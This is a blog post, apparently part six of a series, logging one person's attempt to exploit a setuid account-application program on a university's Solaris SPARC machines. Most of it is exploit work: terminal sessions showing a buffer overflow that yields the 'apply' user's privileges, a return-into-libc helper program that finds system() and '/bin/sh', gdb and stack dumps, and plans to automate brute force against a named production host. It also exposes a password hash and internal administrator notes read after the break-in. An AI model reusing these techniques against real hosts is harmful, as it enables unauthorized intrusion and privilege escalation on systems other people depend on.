Hacking Apply — Pt. VI
./pty_apply_final is my latest pty program :)
uses CTRL-S to fluctuate around the stack space, starting from the middle and then alternating up and down the size of the NOPsled -16 for being safe.
works on Blade72 with the following setting RA = ffbeeb48
bazz@blade72[pts/1][/sources/apply-1.2] RA = ffbeeb48 Welcome to apply.cs.umb.edu, our host that handles account applications. This program collects information needed to create accounts, and queues applications for action by the system administrator. When all your information has been collected, you will have the chance to review your application and re-enter any information that is not correct. If you make a mistake in typing, you can back up on the line by pressing the DELETE key. Do not use the BACKSPACE or arrow keys to delete characters -- your input may appear to have been fixed but will really contain garbage. If you press the RETURN key before noticing an error, do not worry. Simply continue answering questions, and re-enter the information later during the review phase. Press RETURN to continue. Do you already have an account with us (y or n)? $
Add feature to PTY to specify RA.
After gaining control of /bin/sh, do
stty cooked; stty echo
to get a nice interface
$ id uid=7343(bazz) gid=10241(ugrad) euid=1001(apply)
this shows that apply startup shell is:
bazz@blade72[pts/2][/home/apply] ypcat passwd | grep apply apply:xD3U81AOW.f0c:1001:27:Account Applications:/home/apply:/home/apply/dummy.sh
Since I can overflow the apply program on Blade72.. I now have access to this script.. I can enable login to blade 60 :)
bazz@blade72[pts/2][/home/apply] ls -l dummy.sh -rwxr-xr-x 1 apply other 670 Sep 1 11:30 dummy.sh
#!/bin/sh # # A modification of the script we used to use on the blades # to remotely execute the apply program. APPLY_HOST=blade60 LOCALHOST=`hostname|sed 's/\..*//'` case $LOCALHOST in $APPLY_HOST ) exec /home/apply/apply ;; # blade35 | blade38 | blade47 | blade53 ) # # The sunblade consoles in S-3-158. # /usr/ucb/rlogin -l apply $APPLY_HOST.cs.umb.edu # ;; vm71 | vm72 | cya | mag | yel | red | grn | blu ) # For f14 apply where users1 and users2 are on 71 and 72. echo "... Chaining ssh to $APPLY_HOST; please type it again." exec /usr/bin/ssh apply@$APPLY_HOST.cs.umb.edu ;; * ) echo Please ssh apply@apply.cs.umb.edu ;; esac
I think, what can I control??? How about trying this:
if [[ $SSH_CONNECTION == *192.168.105.82* ]] then echo "It's there!"; fi
(sh) TERM=vt100 export TERM
$ less math_accounts Tue Oct 9 12:41:49 EDT 2012 Task: Make a Math faculty account o Add pwent to passwd. - CS vi /config/yp/passwd Use ordinary uid in sequence. Use mathfac gid. Rdist -m blade60 passwd - Math cd /confgi/passwd ./math.fetch vi math Shadow/math ./math.push o Add user to group files in either domain. - Add to group mathfac in CS group file. Add to group faculty in math. vi /config/etc/group /config/etc/group.math Rdist group o Mail arrangements - New math profs just forward to themselves at math. Add them in section for users in group mathfac. vi /config/bin/aliases/math+cs - Full-name addresses are done here, tho it needs cleanup. Optional for now. vi /config/bin/aliases/faculty.fullnames o Make a home - Select a filesystem. Ensure it is exported and backed up. - Map it. For example, /home/kouroshz -> blade77:/disk/sd0f/home/kouroshz vi /config/amd/auto_home - Make the dir and fill in dot files. set u=kouroshz set g=mathfac set h=blade77 set d=/disk/sd0f/home/kouroshz ssh $h mkdir -p $d ssh $h cp /usr/local/lib/.cshrc /usr/local/lib/.login $d ssh $h /usr/bin/chown -R $u\:$g $d Check the work. ssh $h /usr/bin/ls -al $d
Since I was able to get the actual apply from gaining access to apply user on blade72.. I have no in my hands the absolutely AUTHENTIC apply on the blade60.. and it’s different..
here’s a comparison:
left is the one I was debugging this whole time. Right is the in-production one:
If it’s not obvious why this is so important:
bazz@blade72[pts/1][/sources/apply-1.2] ls -l apply -rws--x--x 1 apply root 29K Aug 30 09:18 apply bazz@blade72[pts/1][/sources/apply-1.2] ./apply & [1] 17248 bazz@blade72[pts/1][/sources/apply-1.2] pmap 17248 pmap: cannot examine 17248: permission denied
that’s why getting lucky with the overflow on blade72 giving me ownership to these files was crucial.
oddly enough the program still runs without the stack the same on my machine….
-bash-4.3$ pmap 1087 1087: ./apply_actual 00010000 24K read/exec apply_actual 00024000 8K read/write/exec apply_actual 00026000 24K read/write/exec [ heap ] FF180000 576K read/exec /usr/lib/libnsl.so.1 FF210000 40K read/write/exec /usr/lib/libnsl.so.1 FF21A000 24K read/write/exec /usr/lib/libnsl.so.1 FF250000 16K read/exec /usr/platform/sun4u/lib/libc_psr.so.1 FF260000 16K read/exec /usr/lib/libmp.so.2 FF274000 8K read/write/exec /usr/lib/libmp.so.2 FF280000 688K read/exec /usr/lib/libc.so.1 FF33C000 32K read/write/exec /usr/lib/libc.so.1 FF350000 8K read/write/exec /usr/lib/libdl.so.1 FF360000 8K read/write/exec [ anon ] FF370000 40K read/exec /usr/lib/libsocket.so.1 FF38A000 8K read/write/exec /usr/lib/libsocket.so.1 FF3A0000 184K read/exec /usr/lib/ld.so.1 FF3DE000 8K read/write/exec /usr/lib/ld.so.1 FF3E0000 8K read/write/exec /usr/lib/ld.so.1 FFBEE000 8K read/write/exec [ stack ] total 1728K
even with the extended 8K page of stack, tested the exploit to no avail :(
…
I just did the whole 0xffbe address space.. I’m at a loss!! I have no idea what it could be.. But there’s a few things it could be…
NX
not a Sun4u machine..?? yeah right…
NX…
NX…
I found a libc address common to blade71 and blade72, maybe to blade60 as well. it will help with libc exploit:
bazz@blade72[pts/4][~] gcc find_libc.c -ldl bazz@blade72[pts/4][~] ./a.out System found at ff3150a0 /bin/sh found at ff329f18 ^C bazz@blade72[pts/4][~] cd /tmp bazz@blade72[pts/4][/tmp] ls apply-1.2 apply_actual derp dummy.sh echo fnord gdb-debug-pty ps_data uscreens write_ex bazz@blade72[pts/4][/tmp] mv apply_actual ~/ bazz@blade72[pts/4][/tmp] cd ~ bazz@blade72[pts/4][~] gdb ./apply_actual GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"...(no debugging symbols found)... (gdb) r Starting program: /home/bazz/apply_actual (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Welcome to apply.cs.umb.edu, our host that handles account applications. This program collects information needed to create accounts, and queues applications for action by the system administrator. When all your information has been collected, you will have the chance to review your application and re-enter any information that is not correct. If you make a mistake in typing, you can back up on the line by pressing the DELETE key. Do not use the BACKSPACE or arrow keys to delete characters -- your input may appear to have been fixed but will really contain garbage. If you press the RETURN key before noticing an error, do not worry. Simply continue answering questions, and re-enter the information later during the review phase. Press RETURN to continue. ^C Program received signal SIGINT, Interrupt. 0xff31ecc0 in _read () from /usr/lib/libc.so.1 (gdb) x/s 0xff329f18 0xff329f18 <.L498+3488>: "/bin/sh" (gdb) q The program is running. Exit anyway? (y or n) y bazz@blade72[pts/4][~] gdb /home/bazz/apply_actual GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"...(no debugging symbols found)... (gdb) r Starting program: /home/bazz/apply_actual (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Welcome to apply.cs.umb.edu, our host that handles account applications. This program collects information needed to create accounts, and queues applications for action by the system administrator. When all your information has been collected, you will have the chance to review your application and re-enter any information that is not correct. If you make a mistake in typing, you can back up on the line by pressing the DELETE key. Do not use the BACKSPACE or arrow keys to delete characters -- your input may appear to have been fixed but will really contain garbage. If you press the RETURN key before noticing an error, do not worry. Simply continue answering questions, and re-enter the information later during the review phase. Press RETURN to continue. ^C Program received signal SIGINT, Interrupt. 0xff31ecc0 in _read () from /usr/lib/libc.so.1 (gdb) x/s 0xff329f18 0xff329f18 <.L498+3488>: "/bin/sh" (gdb) q The program is running. Exit anyway? (y or n) y bazz@blade72[pts/4][~] ssh blade71 Last login: Tue Oct 14 02:47:40 2014 from vm72.cs.umb.edu Sun Microsystems Inc. SunOS 5.8 Generic 64-bit February 2000 Welcome to blade71.cs.umb.edu, a SunBlade 150 (uIIe-S128) Authorized users only. o The hostname aliases users and users1 now point to vm71. Checking the msgs bulletin board: This shell is interactive bazz@blade71[pts/1][~] gdb apply_actual GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.7"...(no debugging symbols found)... (gdb) r Starting program: /home/bazz/apply_actual (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Welcome to apply.cs.umb.edu, our host that handles account applications. This program collects information needed to create accounts, and queues applications for action by the system administrator. When all your information has been collected, you will have the chance to review your application and re-enter any information that is not correct. If you make a mistake in typing, you can back up on the line by pressing the DELETE key. Do not use the BACKSPACE or arrow keys to delete characters -- your input may appear to have been fixed but will really contain garbage. If you press the RETURN key before noticing an error, do not worry. Simply continue answering questions, and re-enter the information later during the review phase. Press RETURN to continue. ^C Program received signal SIGINT, Interrupt. 0xff31ecc0 in _read () from /usr/lib/libc.so.1 (gdb) x/s 0xff329f18 0xff329f18 <.L498+3488>: "/bin/sh" (gdb)
The libc addresses are different on my machine:
-bash-4.3$ /tmp/a.out System found at ff3153b8 /bin/sh found at ff32a1d0
I will test on house first.
I am thwarted.. system needs its argument in %i0, which is %o0 after Get_old_PW returns but turns back to i0 after a save in system(), but Get_old_pw() fucks that up:
0x00011a54 <Get_old_pw+524>: ld [ %fp + -28 ], %i0 0x00011a58 <Get_old_pw+528>: ret 0x00011a5c <Get_old_pw+532>: restore
answer. find a pointer to /bin/sh\0 in same libc.
Thank god I found one!!
just add 28 to it ;)
my machine:
/* example return into libc exploit for fake vulnerability in './hole' by horizon <jmcdonal@unf.edu> to compile: gcc exhole.c -o exhole -lc -ldl */ #include <stdio.h> #include <dlfcn.h> #include <signal.h> #include <setjmp.h> int step; jmp_buf env; void fault() { if (step<0) longjmp(env,1); else { printf("Couldn't find /bin/sh at a good place in libc.\n"); exit(1); } } int main(int argc, char **argv) { void *handle; long systemaddr; long shell, shellptr; char examp[512]; char *args[3]; char *envs[1]; long *lp; if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((systemaddr=(long)dlsym(handle,"system"))==NULL) { fprintf(stderr,"Can't find system().\n"); exit(1); } systemaddr-=8; if (!(systemaddr & 0xff) || !(systemaddr * 0xff00) || !(systemaddr & 0xff0000) || !(systemaddr & 0xff000000)) { fprintf(stderr,"the address of system() contains a '0'. sorry.\n"); exit(1); } printf("System found at 0x%lx\n",systemaddr); /* let's search for /bin/sh in libc - from SD's original linux exploits */ if (setjmp(env)) step=1; else step=-1; shell=0xFF280000; shellptr = 0x10000; signal(SIGSEGV,fault); //char *c = shell; do while (memcmp((void *)shell, "/bin/sh", 8)) shell+=step; while (!(shell & 0xff) || !(shell & 0xff00) || !(shell & 0xff0000) || !(shell & 0xff000000)); printf("/bin/sh found at 0x%lx\n",shell); //long *p = 0xFF33C000; //*p = shell; shellptr = 0xFF33C000; do while (memcmp((void *)shellptr,&shell, 4)) shellptr+=step; while (!(shellptr & 0xff) || !(shellptr & 0xff00) || !(shellptr & 0xff0000) || !(shellptr & 0xff000000)); printf("2d pointer to /bin/sh at 0x%lx\n", shellptr); while(1); return 0; }
my machine:
-bash-4.3$ ./a.out System found at 0xff3153b8 /bin/sh found at 0xff32a1d0 2d pointer to /bin/sh at 0xff33eb5c
blade72
bazz@blade72[pts/2][/tmp] ./a.out System found at 0xff3150a0 /bin/sh found at 0xff329f18 2d pointer to /bin/sh at 0xff33eb5c
This almost worked… Get_old_pw loaded i0 with vale from a pointer offsetted from %fp. I basically set this to point to a pointer to /bin/sh string, and it almost worked!!!, but get_old_pw stores a value over it first, ruining my plans (the pointer was found in a writable memory segment
In summary:
the %i0 gets borked. We need to fix it.
i.e Get_old_pw() calls askyorn(). askyorn() overwrites Get_old_pw() stack frame, but at the end of Get_old_pw(), it overwrites %i0, our precious pointer to /bin/sh\0.
0x00011a54 <Get_old_pw+524>: ld [ %fp + -28 ], %i0 0x00011a58 <Get_old_pw+528>: ret 0x00011a5c <Get_old_pw+532>: restore
(gdb) info functions All defined functions: Non-debugging symbols: 0x00010f90 _start 0x0001100c __do_global_dtors_aux 0x000110b8 call___do_global_dtors_aux 0x000110c4 frame_dummy 0x00011148 call_frame_dummy 0x00011154 main 0x000114c0 Acct 0x00011848 Get_old_pw 0x00011a60 Login 0x00011d58 Name 0x00011ddc Pass 0x00011ff8 Groups 0x0001242c Review 0x0001255c Edit 0x0001273c enqueue 0x00012a30 askyorn 0x00012b30 mkpasswd 0x00012c38 load_params 0x00012f84 setptr 0x00013034 show_params 0x00013164 fatal 0x000131b8 set_sigs 0x0001320c quit 0x00013274 blurb 0x000132d0 show_i 0x00013450 notify 0x000137c4 __do_global_ctors_aux 0x00013810 call___do_global_ctors_aux 0x0001381c _init 0x00013838 _fini ---Type <return> to continue, or q <return> to quit---
0x00012c28 <mkpasswd+248>: mov %o0, %g1 0x00012c2c <mkpasswd+252>: mov %g1, %i0 0x00012c30 <mkpasswd+256>: ret ---Type <return> to continue, or q <return> to quit--- 0x00012c34 <mkpasswd+260>: restore
I was investigating returning into text segment but I can’t do it given the null byte in the address.
When I return to the infected %i7, the %i6 (overwitten %fp) turns into the %sp for that infected execution’s stack frame. The next ret/restore will use the positive 64 byte offset from this new %sp to get the next return address. This means the stack and all variables as part of its window are completely relocatable upon return. Problem is that on remote machine there will be guesswork of what the infected fp’s value will be, or if the libc system() address is correct.
But, the idea is to fill a “sled” of stack frames kind of like a nop sled but with offsetted values. These stack frames will contain values for %i and %l that we are interested in controlling, offsets from %sp to i0 etc. must be calculated). Then at %sp + 62 must be a valid %fp points to stack space that system() will use, +64 will be the system () address -8 but after the save so no window movement, use our infected registers.
This stack frame can be interleaved to produce a kind of nop slide, but will have to skip over sensitive offset locations.. Care will need to be taken in devising the space that can be traversed doing a brute force such that if the caller returns to a part of the fake stack frame such that an I or i7 variable is corrupted that we do not perform the subsequent check outside the bounds of the fake stack frame and completely miss it. This is crucial on small buffer sizes, unlike mine, and I will be using a debugger to observe the algorithm behavior.
The only way this will work is if my knowledge of the target stack address range is correct. I do all this from guessing that the target machine has nx addressing with the same stack space as the other blades… We will see if I’m right.
At any rate, I can still come up with a successful local machine PoC to demonstrate that I understand the mechanisms. to speed up bruteforcing after some careful analysis of the algorithm in gdb and giving it theOK, I will have to create intelligence into PTY program to automatically ssh to the target, send required payloads and expect certain responses. Based on these preprogrammed responses, I can automate the brute force technique. This obviously must be perfect by the time it is tested on a production machine. Another signal should be added to toggle automatic/manual mode.
after Get_old_pw is about to return:
0xffbef5e8: 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xffbef5f8: 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xffbef608: 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xff32a1d0 0xffbef618: 0xff32a1d0 0xff32a1d0 0xff33eb78 0xff3153b8 0xffbef628: 0x00027cc8 0x000142d8 0x0002a5b6 0x00000001 0xffbef638: 0xff33c008 0x00000000 0xffbef668 0x0001135c 0xffbef648: 0x00027cc8 0x00000000 0xff33ec70 0xff33c008 0xffbef658: 0xff33f014 0xff320208 0xffbef668 0x0001135c 0xffbef668: 0xff33e5f0 0x00000000 0x00000000 0x00000000 0xffbef678: 0x00000000 0x00000000 0x00000000 0xff3de7a8 0xffbef688: 0x00000001 0xffbef75c 0xffbef764 0x000280cc 0xffbef698: 0x00000000 0x00000000 0xffbef6f8 0x00010fec
0x10fec at the end is our second target return address. That’s 32 bytes of added goodness. [[ this is old ignore it ]]lo
Leave a Reply